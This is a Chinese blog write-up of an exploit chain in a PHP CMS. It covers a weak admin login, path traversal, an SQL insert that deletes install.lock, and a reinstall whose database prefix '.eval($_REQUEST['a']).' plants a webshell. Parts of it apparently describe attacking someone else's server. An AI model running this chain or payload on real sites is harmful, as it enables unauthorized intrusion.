某cms的任意文件删除到getshell

admin 2023年6月14日08:55:11某cms的任意文件删除到getshell已关闭评论28 views字数 1987阅读6分37秒阅读模式

漏洞原理

该cms在安装处未过滤数据库前缀,直接写入database.php中,存在任意代码执行漏洞,但以此漏洞来说,无非是鸡肋,但是结合任意文件删除漏洞,再次触发了重新安装的功能,亦成功getshell,对于实战来说,简直是核弹级的杀伤力,
blockchain

实战环节

以下均在127.0.0.1下展开渗透操作

首先通过弱口令admin、admin登录进目标后台系统,发现该系统名为“某某某某系统”,逐下载源码进行审计

发现所有文件上传都已经过滤之后,尝试查找文件的重命名、复制以及解压操作,功夫不负有心人,找到一处解压操作,但是该解压文件写死了,不是那么灵活,所以需要上传指定的文件名/runtime/shengji.zip
blockchain

睁大我的小眼睛之后,发现该解压功能的正上方两厘米处,就是系统的升级功能,拉取到的文件命名就为runtime/shengji.zip
blockchain

只需要我们输入的title包含if里面判断的字符就能去url里面远程下载文件了,首先通过echo输出一下ps(‘my’,’TjKa4l7u4RvWnkmCbhgSnkZu8jO%3D3fQZxh6B3’)这东西到底是个什么玩意,注意该系统采用的mvc设计架构。
blockchain

blockchain

得到了url之后,我当场就明白了,开发者应该是想把url锁定在 ”http://cdn.cms.mixinnet.cn“ 去下载升级包,但是此处只是使用了strpos做了一个是否包含的判断,在此我的小脑袋瓜灵机一动,我只需要传入的title里面包含这个网址就可以绕过,并且成功控制了zip的内容,
blockchain

title设置为这样不就成功进入if里面了嘛,否则会提示升级包有误
blockchain

来来来,咱们自己构造一个升级包,给里面搞一个shell进去(其实只是把shell压缩成zip)然后通过功能点正常上传,并把url设置为该zip
blockchain

现在再访问解压请求就完事了呗
blockchain

好,本地复现成功,正当我以为能够拿下目标发送升级数据包给对方的时候提示我升级包有误,duang 脑瓜子wengweng的
blockchain

那就结束了吗?当然没有,只是过程更加曲折了一些,通过黑白盒找到一处文件读取功能,发现未过滤../表示可以实现任意文件读取,把别人的ps读取出来不就完事了吗
blockchain

成功上传之后,在解压的步骤一直服务器错误,都快给我整哭了,最开始我以为是根目录没有写入权限,就把shell解压到uploads目录,还是失败。硬磕了一两个小时之后,就换了一处导入模板,也会解压,但是还是失败,明明官方的示例网站都成功拿shell了的。委屈qwq

还能怎么办嘞,接着审计呗,突然想起来有好多cms在安装处有代码执行漏洞(写入database.php的时候没有过滤),很鸡肋,也被很多人发在cnvd上面刷分,就去看了一下,果不其然存在漏洞,这个漏洞只有在安装的时候才能触发,现在需要解决的问题是怎么才能重新安装系统。

市面上大多数php系统的安装是完成之后写入一个标记文件,下次再访问安装的时候会判断这个标记文件是否存在,如果存在就表明已经安装过了,就此退出。
blockchain

思路比较清晰了,现在需要找到一个任意文件删除漏洞,通过全局搜索unlink发现没有任何一处是用户可控的,有一处可控,但是删除的是整个目录,我们不能这么干,这就有点打脑壳了,只剩下最后一处是通过文件id在数据库中查询出文件名,然后删除,如果此处存在sql漏洞的话,倒也能实现任意文件删除,但是很可惜用的是参数化查询。
blockchain

就在我久思无果的时候,嘿!瞧瞧!我发现了什么!是执行数据库!
blockchain

这不就简单了嘛,我们插入一条savename为../../install/install.lock的记录,然后再通过附件删除功能,不就把install.lock删除了嘛。想到就干!先分析一下数据库结构。
blockchain

通过代码和数据库分析发现附件都是存放在my_file这个表里面的
blockchain

插入数据
insert into my_file(id,name,savename,savepath,ext,create_time)values(1000,’install.lock’,’../../install/install.lock’,’123’,’lock’,1658717205);
某cms的任意文件删除到getshell
blockchain

点击删除,如果我料想不错的话这个时候的savename应该是../../install/install.lock,能成功删除该文件
unlink(ROOT_PATH . ‘/uploads/‘.date(‘Ymd’,$time).’/‘.$savename);
blockchain

成功删除
blockchain

再次进入安装界面
通过任意文件读取,获取到对方的数据库信息,前缀设置为
‘.eval($_REQUEST[‘a’]).’
单引号主要是为了闭合
某cms的任意文件删除到getshell
然后完成安装之后报错,可见成功写入
blockchain

访问/mifenlei/database.php 成功触发命令
blockchain

总结

头都整大了,在重新安装的时候记得换一个数据库,shell之后再改回去,不然会把别人数据清空

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月14日08:55:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某cms的任意文件删除到getshellhttps://cn-sec.com/archives/1803637.html